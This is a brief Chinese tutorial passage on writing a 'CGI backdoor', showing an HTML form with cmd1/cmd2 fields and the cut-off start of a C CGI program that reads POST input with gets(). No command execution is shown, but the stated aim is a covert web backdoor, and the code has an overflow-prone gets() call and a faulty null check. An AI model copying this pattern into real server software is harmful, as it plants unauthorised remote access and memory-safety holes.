服务器开发之CGI后门

1.html代码

<form id = "form" name="form" method="post" action="../cgi-bin/Hello.cgi">
<p></p>
<input type="text" name="cmd1" id="user" value= "用户名"/>
<p></p>
<input type="text" name="cmd2" id="pass" value= "密码"/>
<p></p>
<input type="submit" name="go" id= "Hello" value="进入">
</form>

2.C代码

#define  _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
//..上一层目录
//"cmd1=123&cmd2=456&go=%BD%F8%C8%EB"

void main123()
{
    printf("Content-type:text/html

");//换行
    char szpost[256] = { 0 };
    gets(szpost);
    printf("%s", szpost);

    char*p1 = strchr(szpost, '&');
    if (*p1 != NULL)
    {
        *p1 = '